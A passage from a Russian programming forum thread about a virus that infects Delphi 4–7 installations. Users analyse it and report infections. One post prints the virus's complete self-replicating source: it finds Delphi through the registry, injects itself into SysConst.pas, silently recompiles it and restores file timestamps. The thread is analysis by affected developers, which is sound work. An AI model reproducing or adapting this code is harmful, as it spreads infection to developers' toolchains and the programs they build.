Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 13.08.2009, 15:42   #31
uberchel
Участник клуба
 
Аватар для uberchel
 
Регистрация: 19.01.2009
Сообщений: 1,453
По умолчанию

Цитата:
Сообщение от s.Creator Посмотреть сообщение
А сколько надо кода чтобы написать так?:
- копируем SysConst.pas во временную папку.
- добавляем в него код вируса.
- компилируем его командной строкой с помощью dcc32.exe (WinExec(...))
- меняем файлы и их времена создания, модификации.
- удаляем временные
Я же не про функционал, тут понятно из приведенного кода, то что выполняет эти действия, я же написал что это может быть не весь функционал вируса, может есть еще что, что то он делает, просто этого кода в данном нет и это не полный исходник виря! при компиляции этого кода пусть он 4кб займёт ну ни как не 7-8кб! Допустим сделали консольное приложение, с использованием модуля WINDOWS И ПУСТЬ ДАЖЕ SYSUNTIL, а SYSCONS добавляться всегда автоматом, открой в рес-хакере и увидишь тип String - вот это и есть, и даже этот консольник после компиляции будет весить 15-17 кб.

Последний раз редактировалось uberchel; 13.08.2009 в 16:02.
uberchel вне форума Ответить с цитированием
Старый 13.08.2009, 16:22   #32
Dj_smart
Капсула от спама
Форумчанин
 
Аватар для Dj_smart
 
Регистрация: 04.03.2008
Сообщений: 779
По умолчанию

*** ВАШУ МАТЬ! ЙА ЗАРАЖЕН!
Есть предложение - добавить опрос заражен ли был, чтоб узнать популярность
Если данный ответ не столь конкретен, как Вы желаете его увидеть, возможно необходимо поразмыслить, стоит ли вопрос того, чтобы о нём спрашивать на форуме?
CncFiles.ru - бесплатный файловый хостинг
Dj_smart вне форума Ответить с цитированием
Старый 13.08.2009, 17:01   #33
uberchel
Участник клуба
 
Аватар для uberchel
 
Регистрация: 19.01.2009
Сообщений: 1,453
По умолчанию

Цитата:
*** ВАШУ МАТЬ! ЙА ЗАРАЖЕН!
Есть предложение - добавить опрос заражен ли был, чтоб узнать популярность
Я думаю с десь больше половины зараженных )
uberchel вне форума Ответить с цитированием
Старый 13.08.2009, 17:04   #34
JTG
я получил эту роль
Старожил
 
Аватар для JTG
 
Регистрация: 25.05.2007
Сообщений: 3,694
По умолчанию

Цитата:
я же написал что это может быть не весь функционал вируса, может есть еще что, что то он делает
Неа, это весь его функционал, полезной нагрузки нет.
Создаёт \lib\sysconst.pas, копирует в него \source\rtl\sys\SysConst.pas, дописывает код, компилит, удаляет. Не меняет дату создания. Выглядит модифицированый файл в точности так:
Код:
{ *********************************************************************** }
{                                                                         }
{ Delphi / Kylix Cross-Platform Runtime Library                           }
{                                                                         }
{ Copyright (c) 1995, 2001 Borland Software Corporation                   }
{                                                                         }
{ *********************************************************************** }

unit SysConst;                                   

interface

//оригинальный код

implementation
uses windows; var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]
=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;
h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle
(h);exit;end;{'I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile
(f2,d+'pas');rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while
not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos('implementation',s)<>0
then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2
,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');for h:= 2 to 24 do writeln(f2,
x(sc[h]));closefile(f1);closefile(f2);{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'
)); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.
wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,
f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+'bak'),
pchar(d+'dcu'));DeleteFile(pchar(d+'pas'));h:=CreateFile(pchar(d+'bak'),0,0,0,3,
0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=
CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,
@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of
char;  i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx(
HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
begin i:=255;if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:='';i:=
1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+'\source\rtl\sys\SysConst'+
'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');end;RegCloseKey(k);end; end;
begin st; end.
Забавная фишка:
Код:
uses windows; var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',...
Похоже на программу, выводящую собственный исходник
пыщь
JTG вне форума Ответить с цитированием
Старый 13.08.2009, 17:21   #35
SlashMan
Пользователь
 
Регистрация: 14.07.2009
Сообщений: 30
По умолчанию

Спасибо) оказался заражен..
SlashMan вне форума Ответить с цитированием
Старый 13.08.2009, 17:37   #36
GunSmoker
Старожил
 
Регистрация: 13.08.2009
Сообщений: 2,581
По умолчанию

Добавил в блог голосование.
Кому не лениво - просьба отметиться
Опытный программист на C++ легко решает любые не существующие в Паскале проблемы.
GunSmoker вне форума Ответить с цитированием
Старый 13.08.2009, 17:43   #37
puporev
Старожил
 
Регистрация: 13.10.2007
Сообщений: 2,740
По умолчанию

А вот если я один и у меня нет "наших", то куда жать?
puporev вне форума Ответить с цитированием
Старый 14.08.2009, 09:23   #38
inndim
Пользователь
 
Регистрация: 08.06.2008
Сообщений: 74
По умолчанию

Хорошо что эта сволочь хоть резервную копию делает, а так если бы резервной копии не было, то пойди найди так сразу что и где было заменено и модифицированно, страшная штука млин.
inndim вне форума Ответить с цитированием
Старый 14.08.2009, 09:32   #39
Utkin
Старожил
 
Аватар для Utkin
 
Регистрация: 04.02.2009
Сообщений: 17,351
По умолчанию

Информация не только полезна, но и вредна. Сотни пытливых студентиков, горящих желанием стать хакером наверняка возьмутся за эту возможность. А некоторые из студентов способные ребята... Так что есть вероятность возникновения клонов с вариациями - отсутствие резервной копии, вредоносные функции, шпионство и пр.
Маньяк-самоучка
Utkin появился в результате деления на нуль.
Осторожно! Альтернативная логика
Utkin вне форума Ответить с цитированием
Старый 14.08.2009, 09:37   #40
Alex Cones
Trust no one.
Старожил
 
Аватар для Alex Cones
 
Регистрация: 07.04.2009
Сообщений: 6,526
По умолчанию

Что-то мне подсказывает, что тут не все так просто. Если бы я оказался на месте этого *** (не дай бог), я бы не стал выкладывать все девственные файлы на поверхность. Даже если это тестовый запуск. Так что, думаю не помешало бы хорошенько проверить bak на наличие заразы.
SQUARY PROJECT - НАБОР БЕСПЛАТНЫХ ПРОГРАММ ДЛЯ РАБОЧЕГО СТОЛА.
МОЙ БЛОГ
GRAY FUR FRAMEWORK - УДОБНАЯ И БЫСТРАЯ РАЗРАБОТКА WINAPI ПРИЛОЖЕНИЙ
Alex Cones вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Реально ли написать на Delphi 7 свою библиотеку для Apache (PHP интерпр.) ? FLEX_NST PHP 1 05.07.2009 18:13
Проверьте правильность написания кода в delphi neomaximus Помощь студентам 2 09.04.2009 17:29
Please!!! Проверьте код по Delphi!!! Dmitriy-e-nest Помощь студентам 2 16.01.2009 15:41
Avast поднимает тревогу на создаваемые в delphi программы, пишет вирус Xemulb Софт 3 27.11.2008 21:37